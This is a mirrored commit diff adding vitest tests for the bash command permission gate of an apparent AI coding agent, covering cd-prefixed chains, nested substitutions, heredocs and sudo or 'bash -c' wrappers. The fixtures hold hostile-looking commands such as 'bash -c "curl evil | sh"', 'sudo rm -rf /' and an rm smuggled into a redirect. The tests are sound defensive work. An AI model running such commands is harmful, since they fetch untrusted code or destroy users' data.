mirror of
https://bitbucket.org/siakitem/my-pi.git
synced 2026-08-28 08:35:57 +00:00
feat: vendor permission system source
This commit is contained in:
@@ -0,0 +1,148 @@
|
||||
/**
|
||||
* Metamorphic totality property for the bash command gate (#452, A3).
|
||||
*
|
||||
* Wrapping any `ask`/`deny` command in `cd /x && <cmd>` must not weaken the
|
||||
* decision — the chain decomposition + most-restrictive-wins, combined with the
|
||||
* fail-closed empty-parse fallback, guarantees a `cd …` prefix can never let a
|
||||
* gated command ride a permissive top-level `*`.
|
||||
*
|
||||
* A focused parametrized table over the real tree-sitter parse + resolve, not a
|
||||
* full fuzzer (tree-sitter fuzzing is brittle); it pins A3 directly.
|
||||
*/
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { BashProgram } from "#src/access-intent/bash/program";
|
||||
import { resolveBashCommandCheck } from "#src/handlers/gates/bash-command";
|
||||
import { pathFlavorForPlatform } from "#src/path/path-flavor";
|
||||
import { PathNormalizer } from "#src/path-normalizer";
|
||||
import type { ScopedPermissionResolver } from "#src/permission-resolver";
|
||||
import type { PermissionState } from "#src/types";
|
||||
|
||||
import { makeCheckResult } from "#test/helpers/handler-fixtures";
|
||||
|
||||
/** Decision strength ordering: deny (2) > ask (1) > allow (0). */
|
||||
const STRENGTH: Record<PermissionState, number> = {
|
||||
allow: 0,
|
||||
ask: 1,
|
||||
deny: 2,
|
||||
};
|
||||
|
||||
/**
|
||||
* Resolver whose decision keys on a command substring → state map. A command
|
||||
* matching no entry resolves to allow (the permissive top-level `*`).
|
||||
*/
|
||||
function makeKeyedResolver(
|
||||
rules: { match: string; state: PermissionState }[],
|
||||
): ScopedPermissionResolver {
|
||||
return {
|
||||
resolve: (intent) => {
|
||||
const command =
|
||||
intent.kind === "tool"
|
||||
? ((intent.input as { command?: string }).command ?? "")
|
||||
: "";
|
||||
const rule = rules.find((r) => command.includes(r.match));
|
||||
const state: PermissionState = rule?.state ?? "allow";
|
||||
return makeCheckResult({ state, source: "bash", command });
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
async function decide(
|
||||
command: string,
|
||||
resolver: ScopedPermissionResolver,
|
||||
): Promise<PermissionState> {
|
||||
const program = await BashProgram.parse(
|
||||
command,
|
||||
new PathNormalizer(pathFlavorForPlatform(process.platform), "/cwd"),
|
||||
);
|
||||
return resolveBashCommandCheck(
|
||||
command,
|
||||
program.commands(),
|
||||
undefined,
|
||||
resolver,
|
||||
).state;
|
||||
}
|
||||
|
||||
describe("bash command gate — metamorphic totality", () => {
|
||||
const cases: { bare: string; state: PermissionState }[] = [
|
||||
{ bare: "git push", state: "ask" },
|
||||
{ bare: "git commit -m wip", state: "ask" },
|
||||
{ bare: "rm -rf build", state: "deny" },
|
||||
{ bare: "npm install pkg", state: "deny" },
|
||||
{ bare: "gh pr create", state: "ask" },
|
||||
];
|
||||
|
||||
for (const { bare, state } of cases) {
|
||||
it(`wrapping "${bare}" in a cd prefix does not weaken its ${state} decision`, async () => {
|
||||
const resolver = makeKeyedResolver([
|
||||
{ match: bare.split(" ")[0] ?? bare, state },
|
||||
]);
|
||||
|
||||
const bareDecision = await decide(bare, resolver);
|
||||
const wrappedDecision = await decide(`cd /repo && ${bare}`, resolver);
|
||||
|
||||
expect(STRENGTH[wrappedDecision]).toBeGreaterThanOrEqual(
|
||||
STRENGTH[bareDecision],
|
||||
);
|
||||
expect(wrappedDecision).toBe(state);
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
/**
|
||||
* The same totality property for nested execution hosts (#741).
|
||||
*
|
||||
* A command hosted in a redirect target or an interpolating heredoc body really
|
||||
* executes, so hosting a gated command there must not weaken its decision — the
|
||||
* enclosing `echo`/`cat` resolves to a permissive allow, and only the nested
|
||||
* unit carries the restriction.
|
||||
*/
|
||||
describe("bash command gate — nested execution hosts do not weaken", () => {
|
||||
const hosts: { label: string; wrap: (cmd: string) => string }[] = [
|
||||
{ label: "a stdout redirect", wrap: (c) => `echo hi > $(${c})` },
|
||||
{ label: "an appending redirect", wrap: (c) => `echo hi >> $(${c})` },
|
||||
{ label: "a stderr redirect", wrap: (c) => `echo hi 2> \`${c}\`` },
|
||||
{ label: "an input process substitution", wrap: (c) => `cat < <(${c})` },
|
||||
{
|
||||
label: "an interpolating heredoc",
|
||||
wrap: (c) => `cat <<EOF\n$(${c})\nEOF`,
|
||||
},
|
||||
];
|
||||
|
||||
const cases: { bare: string; state: PermissionState }[] = [
|
||||
{ bare: "rm -rf build", state: "deny" },
|
||||
{ bare: "git push", state: "ask" },
|
||||
];
|
||||
|
||||
for (const { label, wrap } of hosts) {
|
||||
for (const { bare, state } of cases) {
|
||||
it(`hosting "${bare}" in ${label} does not weaken its ${state} decision`, async () => {
|
||||
const resolver = makeKeyedResolver([
|
||||
{ match: bare.split(" ")[0] ?? bare, state },
|
||||
]);
|
||||
|
||||
const bareDecision = await decide(bare, resolver);
|
||||
const hostedDecision = await decide(wrap(bare), resolver);
|
||||
|
||||
expect(STRENGTH[hostedDecision]).toBeGreaterThanOrEqual(
|
||||
STRENGTH[bareDecision],
|
||||
);
|
||||
expect(hostedDecision).toBe(state);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
it("denies the reported repro when the enclosing command is allowed", async () => {
|
||||
// #741: `echo *` allowed, `rm *` denied — the redirect-hosted `rm` decides.
|
||||
const resolver = makeKeyedResolver([{ match: "rm", state: "deny" }]);
|
||||
|
||||
expect(await decide('echo "hello world" > $(rm *.txt)', resolver)).toBe(
|
||||
"deny",
|
||||
);
|
||||
});
|
||||
|
||||
it("leaves a quoted heredoc body literal, so it does not gate", async () => {
|
||||
const resolver = makeKeyedResolver([{ match: "rm", state: "deny" }]);
|
||||
|
||||
expect(await decide("cat <<'EOF'\n$(rm x)\nEOF", resolver)).toBe("allow");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,358 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
import { resolveBashCommandCheck } from "#src/handlers/gates/bash-command";
|
||||
import type { PermissionCheckResult } from "#src/types";
|
||||
|
||||
import { makeResolver } from "#test/helpers/gate-fixtures";
|
||||
import { makeCheckResult } from "#test/helpers/handler-fixtures";
|
||||
|
||||
/** Build a bash-surface check result for a single command unit. */
|
||||
function bashResult(
|
||||
state: PermissionCheckResult["state"],
|
||||
command: string,
|
||||
matchedPattern?: string,
|
||||
): PermissionCheckResult {
|
||||
return makeCheckResult({ state, source: "bash", command, matchedPattern });
|
||||
}
|
||||
|
||||
describe("resolveBashCommandCheck", () => {
|
||||
it("passes a single command straight through", () => {
|
||||
const resolver = makeResolver(
|
||||
bashResult("allow", "npm install pkg", "npm *"),
|
||||
);
|
||||
|
||||
const result = resolveBashCommandCheck(
|
||||
"npm install pkg",
|
||||
[{ text: "npm install pkg" }],
|
||||
undefined,
|
||||
resolver,
|
||||
);
|
||||
|
||||
expect(result.state).toBe("allow");
|
||||
expect(resolver.resolve).toHaveBeenCalledTimes(1);
|
||||
expect(resolver.resolve).toHaveBeenCalledWith({
|
||||
kind: "tool",
|
||||
surface: "bash",
|
||||
input: { command: "npm install pkg" },
|
||||
agentName: undefined,
|
||||
});
|
||||
});
|
||||
|
||||
it("denies the chain when any sub-command is denied, reporting that command's pattern", () => {
|
||||
const resolver = makeResolver();
|
||||
resolver.resolve.mockImplementation((intent) => {
|
||||
const command = (intent as { input: { command: string } }).input.command;
|
||||
return command.startsWith("npm")
|
||||
? bashResult("deny", command, "npm *")
|
||||
: bashResult("allow", command, "cd *");
|
||||
});
|
||||
|
||||
const result = resolveBashCommandCheck(
|
||||
"cd /p && npm install pkg",
|
||||
[{ text: "cd /p" }, { text: "npm install pkg" }],
|
||||
undefined,
|
||||
resolver,
|
||||
);
|
||||
|
||||
expect(result.state).toBe("deny");
|
||||
expect(result.matchedPattern).toBe("npm *");
|
||||
expect(result.command).toBe("npm install pkg");
|
||||
});
|
||||
|
||||
it("asks when a sub-command asks and none denies", () => {
|
||||
const resolver = makeResolver();
|
||||
resolver.resolve.mockImplementation((intent) => {
|
||||
const command = (intent as { input: { command: string } }).input.command;
|
||||
return command.startsWith("git")
|
||||
? bashResult("ask", command, "git *")
|
||||
: bashResult("allow", command, "cd *");
|
||||
});
|
||||
|
||||
const result = resolveBashCommandCheck(
|
||||
"cd /p && git push",
|
||||
[{ text: "cd /p" }, { text: "git push" }],
|
||||
undefined,
|
||||
resolver,
|
||||
);
|
||||
|
||||
expect(result.state).toBe("ask");
|
||||
expect(result.matchedPattern).toBe("git *");
|
||||
expect(result.command).toBe("git push");
|
||||
});
|
||||
|
||||
it("returns the first allow result when every sub-command is allowed", () => {
|
||||
const resolver = makeResolver();
|
||||
resolver.resolve.mockImplementation((intent) => {
|
||||
const command = (intent as { input: { command: string } }).input.command;
|
||||
return bashResult("allow", command, `${command} *`);
|
||||
});
|
||||
|
||||
const result = resolveBashCommandCheck(
|
||||
"a && b",
|
||||
[{ text: "a" }, { text: "b" }],
|
||||
undefined,
|
||||
resolver,
|
||||
);
|
||||
|
||||
expect(result.state).toBe("allow");
|
||||
expect(result.matchedPattern).toBe("a *");
|
||||
});
|
||||
|
||||
it("falls back to the whole command for a comment-only line (genuinely nothing to gate)", () => {
|
||||
const resolver = makeResolver(bashResult("allow", "# just a comment", "*"));
|
||||
|
||||
const result = resolveBashCommandCheck(
|
||||
"# just a comment",
|
||||
[],
|
||||
undefined,
|
||||
resolver,
|
||||
);
|
||||
|
||||
expect(result.state).toBe("allow");
|
||||
expect(resolver.resolve).toHaveBeenCalledTimes(1);
|
||||
expect(resolver.resolve).toHaveBeenCalledWith({
|
||||
kind: "tool",
|
||||
surface: "bash",
|
||||
input: { command: "# just a comment" },
|
||||
agentName: undefined,
|
||||
});
|
||||
});
|
||||
|
||||
it("falls back to the whole command for an empty/whitespace-only command", () => {
|
||||
const resolver = makeResolver(bashResult("allow", " ", "*"));
|
||||
|
||||
const result = resolveBashCommandCheck(" ", [], undefined, resolver);
|
||||
|
||||
expect(result.state).toBe("allow");
|
||||
expect(resolver.resolve).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("fails closed to ask when a non-empty command parses to zero command units", () => {
|
||||
const resolver = makeResolver(bashResult("allow", "( rm x )", "*"));
|
||||
|
||||
const result = resolveBashCommandCheck("( rm x )", [], undefined, resolver);
|
||||
|
||||
// A permissive top-level '*' must NOT silently allow an unparseable command.
|
||||
expect(result.state).toBe("ask");
|
||||
expect(result.matchedPattern).toBe("<unparseable-bash-command>");
|
||||
expect(result.command).toBe("( rm x )");
|
||||
expect(result.commandContext).toBeUndefined();
|
||||
// The whole command is resolved once, to see whether a deny rule covers it.
|
||||
expect(resolver.resolve).toHaveBeenCalledTimes(1);
|
||||
expect(resolver.resolve).toHaveBeenCalledWith({
|
||||
kind: "tool",
|
||||
surface: "bash",
|
||||
input: { command: "( rm x )" },
|
||||
agentName: undefined,
|
||||
});
|
||||
});
|
||||
|
||||
it("returns the explicit deny when an unparseable command matches a deny rule", () => {
|
||||
const resolver = makeResolver(bashResult("deny", "( rm x )", "rm *"));
|
||||
|
||||
const result = resolveBashCommandCheck("( rm x )", [], undefined, resolver);
|
||||
|
||||
// The fail-closed ask must not mask a hard deny into an approvable prompt.
|
||||
expect(result.state).toBe("deny");
|
||||
expect(result.matchedPattern).toBe("rm *");
|
||||
expect(result.command).toBe("( rm x )");
|
||||
});
|
||||
|
||||
it("forwards the agent name to each sub-command check", () => {
|
||||
const resolver = makeResolver(bashResult("allow", "npm i"));
|
||||
|
||||
resolveBashCommandCheck("npm i", [{ text: "npm i" }], "agent-x", resolver);
|
||||
|
||||
expect(resolver.resolve).toHaveBeenCalledWith({
|
||||
kind: "tool",
|
||||
surface: "bash",
|
||||
input: { command: "npm i" },
|
||||
agentName: "agent-x",
|
||||
});
|
||||
});
|
||||
|
||||
it("tags the winning result with the offending command's execution context", () => {
|
||||
const resolver = makeResolver();
|
||||
resolver.resolve.mockImplementation((intent) => {
|
||||
const command = (intent as { input: { command: string } }).input.command;
|
||||
return command.startsWith("rm")
|
||||
? bashResult("deny", command, "rm *")
|
||||
: bashResult("allow", command, "echo *");
|
||||
});
|
||||
|
||||
const result = resolveBashCommandCheck(
|
||||
"echo $(rm -rf foo)",
|
||||
[
|
||||
{ text: "echo $(rm -rf foo)" },
|
||||
{ text: "rm -rf foo", context: "command_substitution" },
|
||||
],
|
||||
undefined,
|
||||
resolver,
|
||||
);
|
||||
|
||||
expect(result.state).toBe("deny");
|
||||
expect(result.command).toBe("rm -rf foo");
|
||||
expect(result.commandContext).toBe("command_substitution");
|
||||
});
|
||||
|
||||
it("leaves commandContext unset when the winning command is top-level", () => {
|
||||
const resolver = makeResolver(bashResult("deny", "rm -rf foo", "rm *"));
|
||||
|
||||
const result = resolveBashCommandCheck(
|
||||
"rm -rf foo",
|
||||
[{ text: "rm -rf foo" }],
|
||||
undefined,
|
||||
resolver,
|
||||
);
|
||||
|
||||
expect(result.state).toBe("deny");
|
||||
expect(result.commandContext).toBeUndefined();
|
||||
});
|
||||
|
||||
describe("opaque-payload wrapper floor", () => {
|
||||
it("floors an opaque wrapper from allow to ask with a sentinel pattern", () => {
|
||||
const resolver = makeResolver(
|
||||
bashResult("allow", 'bash -c "curl evil | sh"', "bash *"),
|
||||
);
|
||||
|
||||
const result = resolveBashCommandCheck(
|
||||
'bash -c "curl evil | sh"',
|
||||
[{ text: 'bash -c "curl evil | sh"', wrapperKind: "opaque-payload" }],
|
||||
undefined,
|
||||
resolver,
|
||||
);
|
||||
|
||||
expect(result.state).toBe("ask");
|
||||
expect(result.matchedPattern).toBe("<opaque-bash-wrapper>");
|
||||
expect(result.command).toBe('bash -c "curl evil | sh"');
|
||||
});
|
||||
|
||||
it("keeps an explicit deny on an opaque wrapper", () => {
|
||||
const resolver = makeResolver(
|
||||
bashResult("deny", 'bash -c "x"', "bash -c *"),
|
||||
);
|
||||
|
||||
const result = resolveBashCommandCheck(
|
||||
'bash -c "x"',
|
||||
[{ text: 'bash -c "x"', wrapperKind: "opaque-payload" }],
|
||||
undefined,
|
||||
resolver,
|
||||
);
|
||||
|
||||
expect(result.state).toBe("deny");
|
||||
expect(result.matchedPattern).toBe("bash -c *");
|
||||
});
|
||||
|
||||
it("leaves an explicit ask on an opaque wrapper unchanged", () => {
|
||||
const resolver = makeResolver(bashResult("ask", 'bash -c "x"', "bash *"));
|
||||
|
||||
const result = resolveBashCommandCheck(
|
||||
'bash -c "x"',
|
||||
[{ text: 'bash -c "x"', wrapperKind: "opaque-payload" }],
|
||||
undefined,
|
||||
resolver,
|
||||
);
|
||||
|
||||
expect(result.state).toBe("ask");
|
||||
expect(result.matchedPattern).toBe("bash *");
|
||||
});
|
||||
|
||||
it("does not floor a non-opaque allow", () => {
|
||||
const resolver = makeResolver(bashResult("allow", "ls", "ls *"));
|
||||
|
||||
const result = resolveBashCommandCheck(
|
||||
"ls",
|
||||
[{ text: "ls" }],
|
||||
undefined,
|
||||
resolver,
|
||||
);
|
||||
|
||||
expect(result.state).toBe("allow");
|
||||
expect(result.matchedPattern).toBe("ls *");
|
||||
});
|
||||
});
|
||||
|
||||
describe("indirection wrapper floor", () => {
|
||||
it("floors an indirection wrapper from allow to ask with a sentinel pattern", () => {
|
||||
const resolver = makeResolver(
|
||||
bashResult("allow", "sudo aws s3 rm s3://bucket", "*"),
|
||||
);
|
||||
|
||||
const result = resolveBashCommandCheck(
|
||||
"sudo aws s3 rm s3://bucket",
|
||||
[{ text: "sudo aws s3 rm s3://bucket", wrapperKind: "indirection" }],
|
||||
undefined,
|
||||
resolver,
|
||||
);
|
||||
|
||||
expect(result.state).toBe("ask");
|
||||
expect(result.matchedPattern).toBe("<indirection-bash-wrapper>");
|
||||
expect(result.command).toBe("sudo aws s3 rm s3://bucket");
|
||||
});
|
||||
|
||||
it("carries the winning unit's executed command onto the result", () => {
|
||||
const resolver = makeResolver(bashResult("allow", "sudo aws s3 rm", "*"));
|
||||
|
||||
const result = resolveBashCommandCheck(
|
||||
"sudo aws s3 rm",
|
||||
[
|
||||
{
|
||||
text: "sudo aws s3 rm",
|
||||
wrapperKind: "indirection",
|
||||
executedUnit: "aws s3 rm",
|
||||
},
|
||||
],
|
||||
undefined,
|
||||
resolver,
|
||||
);
|
||||
|
||||
expect(result.executedUnit).toBe("aws s3 rm");
|
||||
// The gate still decides on the unit text, not the inner command.
|
||||
expect(result.command).toBe("sudo aws s3 rm");
|
||||
expect(result.matchedPattern).toBe("<indirection-bash-wrapper>");
|
||||
});
|
||||
|
||||
it("leaves the executed command absent for an ordinary unit", () => {
|
||||
const resolver = makeResolver(bashResult("ask", "rm x", "rm *"));
|
||||
|
||||
const result = resolveBashCommandCheck(
|
||||
"rm x",
|
||||
[{ text: "rm x" }],
|
||||
undefined,
|
||||
resolver,
|
||||
);
|
||||
|
||||
expect(result.executedUnit).toBeUndefined();
|
||||
});
|
||||
|
||||
it("keeps an explicit deny on an indirection wrapper", () => {
|
||||
const resolver = makeResolver(
|
||||
bashResult("deny", "sudo rm -rf /", "sudo *"),
|
||||
);
|
||||
|
||||
const result = resolveBashCommandCheck(
|
||||
"sudo rm -rf /",
|
||||
[{ text: "sudo rm -rf /", wrapperKind: "indirection" }],
|
||||
undefined,
|
||||
resolver,
|
||||
);
|
||||
|
||||
expect(result.state).toBe("deny");
|
||||
expect(result.matchedPattern).toBe("sudo *");
|
||||
});
|
||||
|
||||
it("leaves an explicit ask on an indirection wrapper unchanged", () => {
|
||||
const resolver = makeResolver(bashResult("ask", "sudo aws", "sudo *"));
|
||||
|
||||
const result = resolveBashCommandCheck(
|
||||
"sudo aws",
|
||||
[{ text: "sudo aws", wrapperKind: "indirection" }],
|
||||
undefined,
|
||||
resolver,
|
||||
);
|
||||
|
||||
expect(result.state).toBe("ask");
|
||||
expect(result.matchedPattern).toBe("sudo *");
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,395 @@
|
||||
import { homedir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import type { AccessIntent } from "#src/access-intent/access-intent";
|
||||
import { BashProgram } from "#src/access-intent/bash/program";
|
||||
import { describeBashExternalDirectoryGate } from "#src/handlers/gates/bash-external-directory";
|
||||
import type {
|
||||
GateBypass,
|
||||
GateDescriptor,
|
||||
GateResult,
|
||||
} from "#src/handlers/gates/descriptor";
|
||||
import { isGateBypass, isGateDescriptor } from "#src/handlers/gates/descriptor";
|
||||
import type { ToolCallContext } from "#src/handlers/gates/types";
|
||||
import { pathFlavorForPlatform, win32PathFlavor } from "#src/path/path-flavor";
|
||||
import { PathNormalizer } from "#src/path-normalizer";
|
||||
import type { ScopedPermissionResolver } from "#src/permission-resolver";
|
||||
import {
|
||||
allEvidence,
|
||||
findEvidence,
|
||||
type PromptPayload,
|
||||
} from "#src/presentation/prompt-payload";
|
||||
import type { PermissionCheckResult } from "#src/types";
|
||||
import { getNonEmptyString, toRecord } from "#src/value-guards";
|
||||
|
||||
import { makeResolver } from "#test/helpers/gate-fixtures";
|
||||
|
||||
// ── helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
/** Every escaping path the payload lists, in payload order. */
|
||||
function externalPaths(payload: PromptPayload): string[] {
|
||||
return allEvidence(payload, "external path").map((entry) => entry.text);
|
||||
}
|
||||
|
||||
function makeTcc(overrides: Partial<ToolCallContext> = {}): ToolCallContext {
|
||||
return {
|
||||
toolName: "bash",
|
||||
agentName: null,
|
||||
input: { command: "cat /outside/project/file.ts" },
|
||||
toolCallId: "tc-1",
|
||||
cwd: "/test/project",
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function makeCheckResult(
|
||||
state: "allow" | "deny" | "ask",
|
||||
overrides: Partial<PermissionCheckResult> = {},
|
||||
): PermissionCheckResult {
|
||||
return {
|
||||
state,
|
||||
toolName: "external_directory",
|
||||
source: "special",
|
||||
origin: "builtin",
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
/** Extract the policy match values a resolve(intent) call carries. */
|
||||
function intentValues(intent: AccessIntent): readonly string[] {
|
||||
if (intent.kind === "access-path") return intent.path.matchValues();
|
||||
return [];
|
||||
}
|
||||
|
||||
/**
|
||||
* Mirror the handler's parse-once derivation: parse the bash command into a
|
||||
* shared `BashProgram` and inject it, exactly as `permission-gate-handler.ts`
|
||||
* does, so the gate is exercised through the production wiring.
|
||||
*/
|
||||
async function describeGate(
|
||||
tcc: ToolCallContext,
|
||||
resolver: ScopedPermissionResolver,
|
||||
): Promise<GateResult> {
|
||||
const command = getNonEmptyString(toRecord(tcc.input).command);
|
||||
const bashProgram =
|
||||
tcc.toolName === "bash" && command
|
||||
? await BashProgram.parse(
|
||||
command,
|
||||
new PathNormalizer(pathFlavorForPlatform(process.platform), tcc.cwd),
|
||||
)
|
||||
: null;
|
||||
return describeBashExternalDirectoryGate(tcc, bashProgram, resolver);
|
||||
}
|
||||
|
||||
// ── tests ──────────────────────────────────────────────────────────────────
|
||||
|
||||
describe("describeBashExternalDirectoryGate", () => {
|
||||
it("returns null when tool is not bash", async () => {
|
||||
const result = await describeGate(
|
||||
makeTcc({ toolName: "read" }),
|
||||
makeResolver(makeCheckResult("ask")),
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null when command has no external paths", async () => {
|
||||
const result = await describeGate(
|
||||
makeTcc({ input: { command: "ls -la" } }),
|
||||
makeResolver(makeCheckResult("ask")),
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
describe("resolved shell expansions (#694)", () => {
|
||||
it("prompts for a $HOME write target that does not exist yet", async () => {
|
||||
const resolver = makeResolver(makeCheckResult("ask"));
|
||||
const result = await describeGate(
|
||||
makeTcc({
|
||||
input: {
|
||||
command: 'touch "$HOME/pi-permission-system-repro-new"',
|
||||
},
|
||||
}),
|
||||
resolver,
|
||||
);
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
expect(externalPaths((result as GateDescriptor).payload)).toEqual([
|
||||
join(homedir(), "pi-permission-system-repro-new"),
|
||||
]);
|
||||
});
|
||||
|
||||
// biome-ignore lint/suspicious/noTemplateCurlyInString: intentional literal — a braced shell expansion, not a template string
|
||||
it("prompts for a braced ${HOME} reference", async () => {
|
||||
const result = await describeGate(
|
||||
// biome-ignore lint/suspicious/noTemplateCurlyInString: intentional literal — a braced shell expansion, not a template string
|
||||
makeTcc({ input: { command: 'ls "${HOME}/somewhere"' } }),
|
||||
makeResolver(makeCheckResult("ask")),
|
||||
);
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
expect(externalPaths((result as GateDescriptor).payload)).toEqual([
|
||||
join(homedir(), "somewhere"),
|
||||
]);
|
||||
});
|
||||
|
||||
it("does not prompt for a variable it cannot resolve", async () => {
|
||||
const result = await describeGate(
|
||||
makeTcc({ input: { command: 'CURRENT="$HOME"; ls "$CURRENT"' } }),
|
||||
makeResolver(makeCheckResult("ask")),
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
it("resolves each external path on the external_directory surface via an access-path intent (#418)", async () => {
|
||||
const resolver = makeResolver(makeCheckResult("ask"));
|
||||
await describeGate(
|
||||
makeTcc({ input: { command: "cat /outside/a.ts" } }),
|
||||
resolver,
|
||||
);
|
||||
const intent = resolver.resolve.mock.calls[0][0];
|
||||
expect(intent).toMatchObject({
|
||||
kind: "access-path",
|
||||
surface: "external_directory",
|
||||
agentName: undefined,
|
||||
});
|
||||
expect(intentValues(intent)).toEqual(["/outside/a.ts"]);
|
||||
});
|
||||
|
||||
it("carries the deciding path's access facts on promptDetails (bash external_directory surface)", async () => {
|
||||
const resolver = makeResolver(makeCheckResult("ask"));
|
||||
const result = (await describeGate(
|
||||
makeTcc({ input: { command: "cat /outside/a.ts" } }),
|
||||
resolver,
|
||||
)) as GateDescriptor;
|
||||
const intent = resolver.resolve.mock.calls[0][0];
|
||||
const path = intent.kind === "access-path" ? intent.path : undefined;
|
||||
expect(path).toBeDefined();
|
||||
expect(result.promptDetails.accessIntent).toEqual({
|
||||
surface: "external_directory",
|
||||
matchValues: path?.matchValues(),
|
||||
boundaryValue: path?.boundaryValue(),
|
||||
});
|
||||
});
|
||||
|
||||
it("emits a bash_external_directory payload listing every escaping path", async () => {
|
||||
const resolver = makeResolver(makeCheckResult("ask"));
|
||||
const result = (await describeGate(
|
||||
makeTcc({ input: { command: "cat /outside/a.ts" } }),
|
||||
resolver,
|
||||
)) as GateDescriptor;
|
||||
|
||||
expect(result.payload.kind).toBe("bash_external_directory");
|
||||
// The command is the decision value; the paths it reaches are evidence.
|
||||
expect(result.payload.request.value).toBe("cat /outside/a.ts");
|
||||
expect(result.payload.evidence).toContainEqual({
|
||||
label: "external path",
|
||||
text: "/outside/a.ts",
|
||||
detail: null,
|
||||
});
|
||||
});
|
||||
|
||||
it("returns GateBypass when all external paths are session-covered", async () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult("allow", { source: "session" }),
|
||||
);
|
||||
const result = await describeGate(makeTcc(), resolver);
|
||||
expect(result).not.toBeNull();
|
||||
expect(isGateBypass(result)).toBe(true);
|
||||
const bypass = result as GateBypass;
|
||||
expect(bypass.action).toBe("allow");
|
||||
expect(bypass.log).toMatchObject({
|
||||
event: "permission_request.session_approved",
|
||||
details: expect.objectContaining({ resolution: "session_approved" }),
|
||||
});
|
||||
expect(bypass.decidedBy).toEqual({
|
||||
kind: "session_approval",
|
||||
surface: "external_directory",
|
||||
pattern: null,
|
||||
});
|
||||
});
|
||||
|
||||
it("returns GateDescriptor with multi-pattern sessionApproval for uncovered paths", async () => {
|
||||
const result = await describeGate(
|
||||
makeTcc({ input: { command: "diff /outside/a.ts /outside/b.ts" } }),
|
||||
makeResolver(makeCheckResult("ask")),
|
||||
);
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
const desc = result as GateDescriptor;
|
||||
expect(desc.sessionApproval).toBeDefined();
|
||||
if (!desc.sessionApproval) return;
|
||||
expect(desc.sessionApproval.patterns.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it("returns GateBypass when all external paths are config-level allowed", async () => {
|
||||
// Config-level allow (source: "special") should suppress the prompt,
|
||||
// not just session-level allow. This was the bug: source !== "session"
|
||||
// kept config-allowed paths in the uncovered set.
|
||||
const resolver = makeResolver();
|
||||
resolver.resolve.mockImplementation((intent) =>
|
||||
intentValues(intent).length > 0
|
||||
? makeCheckResult("allow", { source: "special" })
|
||||
: makeCheckResult("ask"),
|
||||
);
|
||||
const result = await describeGate(makeTcc(), resolver);
|
||||
expect(result).not.toBeNull();
|
||||
expect(isGateBypass(result)).toBe(true);
|
||||
});
|
||||
|
||||
it("uses worst-check state from uncovered paths for preCheck (config deny > catch-all ask)", async () => {
|
||||
// The path-less extCheck used to always return the "*" catch-all (ask),
|
||||
// silently downgrading a config-level deny to ask. After the fix, the
|
||||
// descriptor's preCheck is derived from the actual path check result.
|
||||
const resolver = makeResolver();
|
||||
resolver.resolve.mockImplementation((intent) =>
|
||||
intentValues(intent).length > 0
|
||||
? makeCheckResult("deny", { source: "special" })
|
||||
: makeCheckResult("ask"),
|
||||
);
|
||||
const result = await describeGate(makeTcc(), resolver);
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
const desc = result as GateDescriptor;
|
||||
expect(desc.preCheck?.state).toBe("deny");
|
||||
});
|
||||
|
||||
it("descriptor surface is 'external_directory'", async () => {
|
||||
const result = await describeGate(
|
||||
makeTcc(),
|
||||
makeResolver(makeCheckResult("ask")),
|
||||
);
|
||||
const desc = result as GateDescriptor;
|
||||
expect(desc.surface).toBe("external_directory");
|
||||
});
|
||||
|
||||
it("descriptor decision surface is 'external_directory'", async () => {
|
||||
const result = await describeGate(
|
||||
makeTcc(),
|
||||
makeResolver(makeCheckResult("ask")),
|
||||
);
|
||||
const desc = result as GateDescriptor;
|
||||
expect(desc.decision.surface).toBe("external_directory");
|
||||
});
|
||||
|
||||
it("payload carries the command and the boundary it escaped", async () => {
|
||||
const result = await describeGate(
|
||||
makeTcc({ input: { command: "cat /outside/file.ts" } }),
|
||||
makeResolver(makeCheckResult("ask")),
|
||||
);
|
||||
const { payload } = result as GateDescriptor;
|
||||
expect(payload.kind).toBe("bash_external_directory");
|
||||
expect(payload.request.value).toBe("cat /outside/file.ts");
|
||||
expect(findEvidence(payload, "working directory")?.text).toBe(
|
||||
"/test/project",
|
||||
);
|
||||
});
|
||||
|
||||
it("promptDetails includes command and tool_call source", async () => {
|
||||
const result = await describeGate(
|
||||
makeTcc({ agentName: "agent-1", toolCallId: "tc-5" }),
|
||||
makeResolver(makeCheckResult("ask")),
|
||||
);
|
||||
const desc = result as GateDescriptor;
|
||||
expect(desc.promptDetails).toMatchObject({
|
||||
source: "tool_call",
|
||||
agentName: "agent-1",
|
||||
toolCallId: "tc-5",
|
||||
toolName: "bash",
|
||||
command: "cat /outside/project/file.ts",
|
||||
});
|
||||
});
|
||||
|
||||
it("config-allowed path is excluded; remaining ask path produces a descriptor", async () => {
|
||||
// One path config-allowed, one config-ask → descriptor with only the ask path.
|
||||
const resolver = makeResolver();
|
||||
resolver.resolve.mockImplementation((intent) =>
|
||||
intentValues(intent).includes("/outside/a.ts")
|
||||
? makeCheckResult("allow", { source: "special" })
|
||||
: makeCheckResult("ask"),
|
||||
);
|
||||
const result = await describeGate(
|
||||
makeTcc({ input: { command: "diff /outside/a.ts /outside/b.ts" } }),
|
||||
resolver,
|
||||
);
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
const desc = result as GateDescriptor;
|
||||
expect(desc.sessionApproval).toBeDefined();
|
||||
if (!desc.sessionApproval) return;
